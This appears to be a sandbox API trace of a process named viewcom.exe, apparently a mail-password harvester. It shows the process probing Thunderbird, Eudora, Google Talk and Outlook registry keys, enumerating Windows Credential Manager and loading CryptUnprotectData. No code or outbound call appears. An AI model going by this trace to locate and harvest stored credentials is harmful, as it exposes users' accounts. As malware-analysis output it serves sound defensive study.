[0079.143] FindResourceA (hModule=0x400000, lpName=0x69, lpType=0x5) returned 0x419568
[0079.143] SizeofResource (hModule=0x400000, hResInfo=0x419568) returned 0xa2
[0079.143] LoadResource (hModule=0x400000, hResInfo=0x419568) returned 0x41a83c
[0079.143] LockResource (hResData=0x41a83c) returned 0x41a83c
[0079.143] FindResourceA (hModule=0x400000, lpName=0x6b, lpType=0x5) returned 0x419578
[0079.143] SizeofResource (hModule=0x400000, hResInfo=0x419578) returned 0x296
[0079.143] LoadResource (hModule=0x400000, hResInfo=0x419578) returned 0x41a8e0
[0079.143] LockResource (hResData=0x41a8e0) returned 0x41a8e0
[0079.143] FindResourceA (hModule=0x400000, lpName=0x6c, lpType=0x5) returned 0x419588
[0079.143] SizeofResource (hModule=0x400000, hResInfo=0x419588) returned 0x364
[0079.143] LoadResource (hModule=0x400000, hResInfo=0x419588) returned 0x41ab78
[0079.143] LockResource (hResData=0x41ab78) returned 0x41ab78
[0079.143] FindResourceA (hModule=0x400000, lpName=0x70, lpType=0x5) returned 0x419598
[0079.143] SizeofResource (hModule=0x400000, hResInfo=0x419598) returned 0xfa
[0079.143] LoadResource (hModule=0x400000, hResInfo=0x419598) returned 0x41aedc
[0079.143] LockResource (hResData=0x41aedc) returned 0x41aedc
[0079.143] FindResourceA (hModule=0x400000, lpName=0x448, lpType=0x5) returned 0x4195a8
[0079.143] SizeofResource (hModule=0x400000, hResInfo=0x4195a8) returned 0x336
[0079.143] LoadResource (hModule=0x400000, hResInfo=0x4195a8) returned 0x41afd8
[0079.143] LockResource (hResData=0x41afd8) returned 0x41afd8
[0079.143] EnumResourceNamesA (hModule=0x400000, lpType=0x6, lpEnumFunc=0x40f37c, lParam=0x0) returned 1
[0079.143] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x6) returned 0x4195b8
[0079.143] SizeofResource (hModule=0x400000, hResInfo=0x4195b8) returned 0x1f2
[0079.143] LoadResource (hModule=0x400000, hResInfo=0x4195b8) returned 0x41b310
[0079.143] LockResource (hResData=0x41b310) returned 0x41b310
[0079.143] FindResourceA (hModule=0x400000, lpName=0x2, lpType=0x6) returned 0x4195c8
[0079.143] SizeofResource (hModule=0x400000, hResInfo=0x4195c8) returned 0x24
[0079.143] LoadResource (hModule=0x400000, hResInfo=0x4195c8) returned 0x41b504
[0079.144] LockResource (hResData=0x41b504) returned 0x41b504
[0079.144] FindResourceA (hModule=0x400000, lpName=0x20, lpType=0x6) returned 0x4195d8
[0079.144] SizeofResource (hModule=0x400000, hResInfo=0x4195d8) returned 0x13a
[0079.144] LoadResource (hModule=0x400000, hResInfo=0x4195d8) returned 0x41b528
[0079.144] LockResource (hResData=0x41b528) returned 0x41b528
[0079.144] FindResourceA (hModule=0x400000, lpName=0x21, lpType=0x6) returned 0x4195e8
[0079.144] SizeofResource (hModule=0x400000, hResInfo=0x4195e8) returned 0x3e
[0079.144] LoadResource (hModule=0x400000, hResInfo=0x4195e8) returned 0x41b664
[0079.144] LockResource (hResData=0x41b664) returned 0x41b664
[0079.144] FindResourceA (hModule=0x400000, lpName=0x33, lpType=0x6) returned 0x4195f8
[0079.144] SizeofResource (hModule=0x400000, hResInfo=0x4195f8) returned 0x48
[0079.144] LoadResource (hModule=0x400000, hResInfo=0x4195f8) returned 0x41b6a4
[0079.144] LockResource (hResData=0x41b6a4) returned 0x41b6a4
[0079.144] FindResourceA (hModule=0x400000, lpName=0x39, lpType=0x6) returned 0x419608
[0079.144] SizeofResource (hModule=0x400000, hResInfo=0x419608) returned 0x134
[0079.144] LoadResource (hModule=0x400000, hResInfo=0x419608) returned 0x41b6ec
[0079.144] LockResource (hResData=0x41b6ec) returned 0x41b6ec
[0079.144] FindResourceA (hModule=0x400000, lpName=0x3a, lpType=0x6) returned 0x419618
[0079.144] SizeofResource (hModule=0x400000, hResInfo=0x419618) returned 0xa6
[0079.144] LoadResource (hModule=0x400000, hResInfo=0x419618) returned 0x41b820
[0079.144] LockResource (hResData=0x41b820) returned 0x41b820
[0079.144] FindResourceA (hModule=0x400000, lpName=0x3f, lpType=0x6) returned 0x419628
[0079.144] SizeofResource (hModule=0x400000, hResInfo=0x419628) returned 0x74
[0079.144] LoadResource (hModule=0x400000, hResInfo=0x419628) returned 0x41b8c8
[0079.144] LockResource (hResData=0x41b8c8) returned 0x41b8c8
[0079.144] FindResourceA (hModule=0x400000, lpName=0x40, lpType=0x6) returned 0x419638
[0079.144] SizeofResource (hModule=0x400000, hResInfo=0x419638) returned 0xaa
[0079.144] LoadResource (hModule=0x400000, hResInfo=0x419638) returned 0x41b93c
[0079.144] LockResource (hResData=0x41b93c) returned 0x41b93c
[0079.144] FindResourceA (hModule=0x400000, lpName=0x52, lpType=0x6) returned 0x419648
[0079.144] SizeofResource (hModule=0x400000, hResInfo=0x419648) returned 0x68
[0079.144] LoadResource (hModule=0x400000, hResInfo=0x419648) returned 0x41b9e8
[0079.144] LockResource (hResData=0x41b9e8) returned 0x41b9e8
[0079.144] EnumResourceNamesA (hModule=0x400000, lpType=0x9, lpEnumFunc=0x40f37c, lParam=0x0) returned 1
[0079.144] FindResourceA (hModule=0x400000, lpName=0x67, lpType=0x9) returned 0x419658
[0079.144] SizeofResource (hModule=0x400000, hResInfo=0x419658) returned 0x50
[0079.145] LoadResource (hModule=0x400000, hResInfo=0x419658) returned 0x41ba50
[0079.145] LockResource (hResData=0x41ba50) returned 0x41ba50
[0079.145] EnumResourceNamesA (hModule=0x400000, lpType=0xc, lpEnumFunc=0x40f37c, lParam=0x0) returned 1
[0079.145] FindResourceA (hModule=0x400000, lpName=0x67, lpType=0xc) returned 0x419668
[0079.145] SizeofResource (hModule=0x400000, hResInfo=0x419668) returned 0x14
[0079.145] LoadResource (hModule=0x400000, hResInfo=0x419668) returned 0x41baa0
[0079.145] LockResource (hResData=0x41baa0) returned 0x41baa0
[0079.145] EnumResourceNamesA (hModule=0x400000, lpType=0xe, lpEnumFunc=0x40f37c, lParam=0x0) returned 1
[0079.145] FindResourceA (hModule=0x400000, lpName=0x65, lpType=0xe) returned 0x419678
[0079.145] SizeofResource (hModule=0x400000, hResInfo=0x419678) returned 0x22
[0079.145] LoadResource (hModule=0x400000, hResInfo=0x419678) returned 0x41bab4
[0079.145] LockResource (hResData=0x41bab4) returned 0x41bab4
[0079.145] FindResourceA (hModule=0x400000, lpName=0x66, lpType=0xe) returned 0x419688
[0079.145] SizeofResource (hModule=0x400000, hResInfo=0x419688) returned 0x14
[0079.145] LoadResource (hModule=0x400000, hResInfo=0x419688) returned 0x41bad8
[0079.145] LockResource (hResData=0x41bad8) returned 0x41bad8
[0079.145] EnumResourceNamesA (hModule=0x400000, lpType=0x10, lpEnumFunc=0x40f37c, lParam=0x0) returned 1
[0079.145] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x10) returned 0x419698
[0079.145] SizeofResource (hModule=0x400000, hResInfo=0x419698) returned 0x26c
[0079.145] LoadResource (hModule=0x400000, hResInfo=0x419698) returned 0x41baec
[0079.145] LockResource (hResData=0x41baec) returned 0x41baec
[0079.145] EnumResourceNamesA (hModule=0x400000, lpType=0x18, lpEnumFunc=0x40f37c, lParam=0x0) returned 1
[0079.145] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x18) returned 0x4196a8
[0079.145] SizeofResource (hModule=0x400000, hResInfo=0x4196a8) returned 0x16a
[0079.145] LoadResource (hModule=0x400000, hResInfo=0x4196a8) returned 0x41bd58
[0079.145] LockResource (hResData=0x41bd58) returned 0x41bd58
[0079.146] LoadStringA (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Name") returned 0x4
[0079.146] LoadStringA (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Name") returned 0x4
[0079.146] LoadStringA (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Application") returned 0xb
[0079.146] LoadStringA (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Application") returned 0xb
[0079.146] LoadStringA (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Email") returned 0x5
[0079.146] LoadStringA (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Email") returned 0x5
[0079.146] LoadStringA (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Server") returned 0x6
[0079.146] LoadStringA (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Server") returned 0x6
[0079.146] LoadStringA (in: hInstance=0x400000, uID=0x3f1, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Server Port") returned 0xb
[0079.146] LoadStringA (in: hInstance=0x400000, uID=0x3f1, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Server Port") returned 0xb
[0079.146] LoadStringA (in: hInstance=0x400000, uID=0x3f2, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Secured") returned 0x7
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3f2, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Secured") returned 0x7
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Type") returned 0x4
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Type") returned 0x4
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="User") returned 0x4
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="User") returned 0x4
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3f0, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Profile") returned 0x7
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3f0, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Profile") returned 0x7
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3f3, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3f3, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3f4, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="SMTP Server") returned 0xb
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3f4, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="SMTP Server") returned 0xb
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3f5, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="SMTP Server Port") returned 0x10
[0079.147] LoadStringA (in: hInstance=0x400000, uID=0x3f5, lpBuffer=0x24c6c8, cchBufferMax=4095 | out: lpBuffer="SMTP Server Port") returned 0x10
[0079.148] GetVersionExA (in: lpVersionInformation=0x418118*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x418118*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0079.148] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x12f8cc, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 1
[0079.169] strlen (_Str="Mozilla\\Profiles") returned 0x10
[0079.169] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0079.169] _mbscpy (in: param_1=0x243068, param_2=0x12f8cc | out: param_1=0x243068) returned 0x243068
[0079.169] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0079.169] _mbscat (in: param_1=0x243068, param_2=0x414078 | out: param_1=0x243068) returned 0x243068
[0079.169] _mbscat (in: param_1=0x243068, param_2=0x413488 | out: param_1=0x243068) returned 0x243068
[0079.169] GetFileAttributesA (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Profiles" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\mozilla\\profiles")) returned 0xffffffff
[0079.169] strlen (_Str="Thunderbird\\Profiles") returned 0x14
[0079.169] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0079.169] _mbscpy (in: param_1=0x24316d, param_2=0x12f8cc | out: param_1=0x24316d) returned 0x24316d
[0079.169] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0079.169] _mbscat (in: param_1=0x24316d, param_2=0x414078 | out: param_1=0x24316d) returned 0x24316d
[0079.169] _mbscat (in: param_1=0x24316d, param_2=0x41349c | out: param_1=0x24316d) returned 0x24316d
[0079.169] GetFileAttributesA (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Thunderbird\\Profiles" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\thunderbird\\profiles")) returned 0xffffffff
[0079.169] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Qualcomm\\Eudora\\CommandLine", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f198 | out: phkResult=0x12f198*=0x0) returned 0x2
[0079.169] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Classes\\Software\\Qualcomm\\Eudora\\CommandLine\\current", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f198 | out: phkResult=0x12f198*=0x0) returned 0x2
[0079.170] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Thunderbird", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fae0 | out: phkResult=0x12fae0*=0x0) returned 0x2
[0079.170] ExpandEnvironmentStringsA (in: lpSrc="%programfiles%\\Mozilla Thunderbird", lpDst=0x243377, nSize=0x104 | out: lpDst="C:\\Program Files\\Mozilla Thunderbird") returned 0x25
[0079.170] GetFileAttributesA (lpFileName="C:\\Program Files\\Mozilla Thunderbird" (normalized: "c:\\program files\\mozilla thunderbird")) returned 0xffffffff
[0079.170] _strcmpi (_Str1="/stext", _Str2="/scomma") returned 1
[0079.170] _strcmpi (_Str1="/shtml", _Str2="/scomma") returned 1
[0079.170] _strcmpi (_Str1="/sverhtml", _Str2="/scomma") returned 1
[0079.170] _strcmpi (_Str1="/sxml", _Str2="/scomma") returned 1
[0079.170] _strcmpi (_Str1="/stab", _Str2="/scomma") returned 1
[0079.170] _strcmpi (_Str1="/scomma", _Str2="/scomma") returned 0
[0079.170] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x12f7c4, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0079.170] _mbscat (in: param_1=0x12f7c4, param_2=0x414450 | out: param_1=0x12f7c4) returned 0x12f7c4
[0079.170] _mbscpy (in: param_1=0x12f8d4, param_2=0x12f7c4 | out: param_1=0x12f8d4) returned 0x12f8d4
[0079.170] _mbscpy (in: param_1=0x12f9d9, param_2=0x414458 | out: param_1=0x12f9d9) returned 0x12f9d9
[0079.170] GetPrivateProfileIntA (lpAppName="General", lpKeyName="ShowGridLines", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.171] GetPrivateProfileIntA (lpAppName="General", lpKeyName="SaveFilterIndex", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.171] GetPrivateProfileIntA (lpAppName="General", lpKeyName="AddExportHeaderLine", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.171] GetPrivateProfileIntA (lpAppName="General", lpKeyName="MarkOddEvenRows", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.171] GetPrivateProfileStringA (in: lpAppName="General", lpKeyName="WinPos", lpDefault="", lpReturnedString=0x12d784, nSize=0x2000, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg" | out: lpReturnedString="") returned 0x0
[0079.172] strlen (_Str="") returned 0x0
[0079.172] GetPrivateProfileStringA (in: lpAppName="General", lpKeyName="Columns", lpDefault="", lpReturnedString=0x12d774, nSize=0x2000, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg" | out: lpReturnedString="") returned 0x0
[0079.172] strlen (_Str="") returned 0x0
[0079.172] GetPrivateProfileIntA (lpAppName="General", lpKeyName="Sort", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.172] _mbsicmp (_Str1=0x4143d4, _Str2=0x243590) returned 1
[0079.172] _mbsicmp (_Str1=0x4143d4, _Str2=0x243598) returned -1
[0079.172] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007
[0079.172] SetCursor (hCursor=0x10007) returned 0x10007
[0079.172] LoadLibraryA (lpLibFileName="pstorec.dll") returned 0x72810000
[0079.609] GetProcAddress (hModule=0x72810000, lpProcName="PStoreCreateInstance") returned 0x7281526c
[0079.609] PStoreCreateInstance () returned 0x0
[0085.076] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x757b0000
[0085.089] GetProcAddress (hModule=0x757b0000, lpProcName="CryptUnprotectData") returned 0x757e5a7f
[0085.089] UuidFromStringA (in: StringUuid=0x414b68, Uuid=0x12f664 | out: Uuid=0x12f664) returned 0x0
[0085.089] UuidFromStringA (in: StringUuid=0x414b90, Uuid=0x12f674 | out: Uuid=0x12f674) returned 0x0
[0085.089] UuidFromStringA (in: StringUuid=0x414b68, Uuid=0x12f664 | out: Uuid=0x12f664) returned 0x0
[0085.089] UuidFromStringA (in: StringUuid=0x414b90, Uuid=0x12f674 | out: Uuid=0x12f674) returned 0x0
[0085.090] UuidFromStringA (in: StringUuid=0x414b68, Uuid=0x12f664 | out: Uuid=0x12f664) returned 0x0
[0085.090] UuidFromStringA (in: StringUuid=0x414b90, Uuid=0x12f674 | out: Uuid=0x12f674) returned 0x0
[0085.090] UuidFromStringA (in: StringUuid=0x414b68, Uuid=0x12f664 | out: Uuid=0x12f664) returned 0x0
[0085.090] UuidFromStringA (in: StringUuid=0x414b90, Uuid=0x12f674 | out: Uuid=0x12f674) returned 0x0
[0085.090] GetComputerNameA (in: lpBuffer=0x12e874, nSize=0x12e980 | out: lpBuffer="ZJEWV7F", nSize=0x12e980) returned 1
[0085.090] GetUserNameA (in: lpBuffer=0x12e774, pcbBuffer=0x12e980 | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x12e980) returned 1
[0085.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12e874, cbMultiByte=-1, lpWideCharStr=0x12e374, cchWideChar=255 | out: lpWideCharStr="ZJEWV7F") returned 8
[0085.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12e774, cbMultiByte=-1, lpWideCharStr=0x12e574, cchWideChar=255 | out: lpWideCharStr="ATVeyDl98Z") returned 11
[0085.093] strlen (_Str="ZJEWV7F") returned 0x7
[0085.093] strlen (_Str="ATVeyDl98Z") returned 0xa
[0085.093] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Google\\Google Talk\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x12e9ac | out: phkResult=0x12e9ac*=0x0) returned 0x2
[0085.093] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Google\\Google Desktop\\Mailboxes", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f9b0 | out: phkResult=0x12f9b0*=0x0) returned 0x2
[0085.093] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76030000
[0085.093] GetProcAddress (hModule=0x76030000, lpProcName="CredReadA") returned 0x760771c1
[0085.093] GetProcAddress (hModule=0x76030000, lpProcName="CredFree") returned 0x7603b2ec
[0085.093] GetProcAddress (hModule=0x76030000, lpProcName="CredDeleteA") returned 0x76077941
[0085.094] GetProcAddress (hModule=0x76030000, lpProcName="CredEnumerateA") returned 0x76077381
[0085.094] GetProcAddress (hModule=0x76030000, lpProcName="CredEnumerateW") returned 0x76077481
[0085.094] CredEnumerateW (in: Filter=0x0, Flags=0x0, Count=0x12f620, Credential=0x12f61c | out: Count=0x12f620, Credential=0x12f61c) returned 0
[0085.095] FreeLibrary (hLibModule=0x76030000) returned 1
[0085.095] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fad4 | out: phkResult=0x12fad4*=0x0) returned 0x2
[0085.095] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fad4 | out: phkResult=0x12fad4*=0x0) returned 0x2
[0085.095] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Identities", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fab8 | out: phkResult=0x12fab8*=0xe8) returned 0x0
[0085.095] RegEnumKeyExA (in: hKey=0xe8, dwIndex=0x0, lpName=0x12f9ac, lpcchName=0x12f584, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f57c | out: lpName="{B85DCA4A-5C21-4EC5-AF48-A2A88CD3D1D9}", lpcchName=0x12f584, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f57c) returned 0x0
[0085.096] RegOpenKeyExA (in: hKey=0xe8, lpSubKey="{B85DCA4A-5C21-4EC5-AF48-A2A88CD3D1D9}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f580 | out: phkResult=0x12f580*=0xec) returned 0x0
[0085.096] RegQueryValueExA (in: hKey=0xec, lpValueName="Username", lpReserved=0x0, lpType=0x12f560, lpData=0x242fe4, lpcbData=0x12f564*=0x7f | out: lpType=0x12f560*=0x1, lpData="Main Identity", lpcbData=0x12f564*=0xe) returned 0x0
[0085.096] RegCloseKey (hKey=0xec) returned 0x0
[0085.096] sprintf (in: _Dest=0x12f5ac, _Format="%s\\%s" | out: _Dest="{B85DCA4A-5C21-4EC5-AF48-A2A88CD3D1D9}\\Software\\Microsoft\\Internet Account Manager\\Accounts") returned 91
[0085.096] RegOpenKeyExA (in: hKey=0xe8, lpSubKey="{B85DCA4A-5C21-4EC5-AF48-A2A88CD3D1D9}\\Software\\Microsoft\\Internet Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fab0 | out: phkResult=0x12fab0*=0x0) returned 0x2
[0085.096] sprintf (in: _Dest=0x12f5ac, _Format="%s\\%s" | out: _Dest="{B85DCA4A-5C21-4EC5-AF48-A2A88CD3D1D9}\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts") returned 101
[0085.096] RegOpenKeyExA (in: hKey=0xe8, lpSubKey="{B85DCA4A-5C21-4EC5-AF48-A2A88CD3D1D9}\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x12faac | out: phkResult=0x12faac*=0x0) returned 0x2
[0085.096] RegEnumKeyExA (in: hKey=0xe8, dwIndex=0x1, lpName=0x12f9ac, lpcchName=0x12f588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f580 | out: lpName="{B85DCA4A-5C21-4EC5-AF48-A2A88CD3D1D9}", lpcchName=0x12f588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f580) returned 0x103
[0085.096] RegCloseKey (hKey=0xe8) returned 0x0
[0085.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fad4 | out: phkResult=0x12fad4*=0x0) returned 0x2
[0085.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fad4 | out: phkResult=0x12fad4*=0x0) returned 0x2
[0085.096] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fad4 | out: phkResult=0x12fad4*=0xe8) returned 0x0
[0085.096] RegEnumKeyExA (in: hKey=0xe8, dwIndex=0x0, lpName=0x12f9b4, lpcchName=0x12f98c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f984 | out: lpName="Outlook", lpcchName=0x12f98c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f984) returned 0x0
[0085.096] strlen (_Str="Outlook") returned 0x7
[0085.096] RegOpenKeyExA (in: hKey=0xe8, lpSubKey="Outlook", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fab4 | out: phkResult=0x12fab4*=0xec) returned 0x0
[0085.096] RegEnumKeyExA (in: hKey=0xec, dwIndex=0x0, lpName=0x12f89c, lpcchName=0x12f874, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f86c | out: lpName="0a0d020000000000c000000000000046", lpcchName=0x12f874, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f86c) returned 0x0
[0085.096] RegOpenKeyExA (in: hKey=0xec, lpSubKey="0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.096] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x103
[0085.097] RegCloseKey (hKey=0xf0) returned 0x0
[0085.097] RegEnumKeyExA (in: hKey=0xec, dwIndex=0x1, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="13dbb0c8aa05101a9bb000aa002fc45a", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x0
[0085.097] RegOpenKeyExA (in: hKey=0xec, lpSubKey="13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.097] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x103
[0085.097] RegCloseKey (hKey=0xf0) returned 0x0
[0085.097] RegEnumKeyExA (in: hKey=0xec, dwIndex=0x2, lpName=0x12f89c, lpcchName=0x12f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874 | out: lpName="21c3340121c69b4d9839e87233c43775", lpcchName=0x12f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f874) returned 0x0
[0085.097] RegOpenKeyExA (in: hKey=0xec, lpSubKey="21c3340121c69b4d9839e87233c43775", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f99c | out: phkResult=0x12f99c*=0xf0) returned 0x0
[0085.097] RegEnumKeyExA (in: hKey=0xf0, dwIndex=0x0, lpName=0x12f784, lpcchName=0x12f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750 | out: lpName="", lpcchName=0x12f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x12f750) returned 0x103
[0085.097] RegCloseKey (hKey=0xf0) returned 0x0
